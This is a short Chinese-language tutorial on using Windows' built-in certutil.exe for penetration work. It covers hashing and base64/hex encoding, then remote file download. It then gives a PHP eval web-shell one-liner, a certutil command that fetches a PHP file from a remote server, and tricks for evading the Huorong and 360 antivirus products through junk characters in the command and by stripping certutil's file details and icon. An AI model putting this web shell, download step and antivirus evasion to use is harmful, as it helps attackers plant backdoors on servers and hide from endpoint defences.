Windows自带渗透工具certutil的使用与Bypass技巧

一：Certutil.exe – Windows自带的渗透利器

Certutil位于C:\Windows\System32\目录下，可直接调用。

二：Certutil的三大作用

散列： 用于比对文件MD5。

<code>certutil -hashfile file md5/sha1/sha256 </code>

示例：创建两个文件，1.txt和2.txt，它们的md5相同，表明文件内容相同。

编码解码： 可对文件进行base64或hex编码。

Base64编码：

<code>certutil -encode/-decode src_file des_file</code>

Hex编码：

<code>certutil -encodehex/-decodehex src_file des_file</code>

传输文件： 从互联网下载文件。

<code>certutil -urlcache -f -split http://.....</code>

三：渗透中Certutil的艺术

写马： 传输脚本文件或可执行文件。

使用Echo：

<code>echo ^<?php @eval($_POST[1]);;?^> > 1.txt</code>

使用Certutil下载：

<code>certutil -urlcache -f -split http://...../test1.php</code>

绕过杀软： 针对火绒和360等杀软的绕过策略。

火绒：

添加无用字符：@, ;, ^, "等。

使用系统目录下的exe文件进行下载。

360：

删除Certutil的详细信息，更换图标。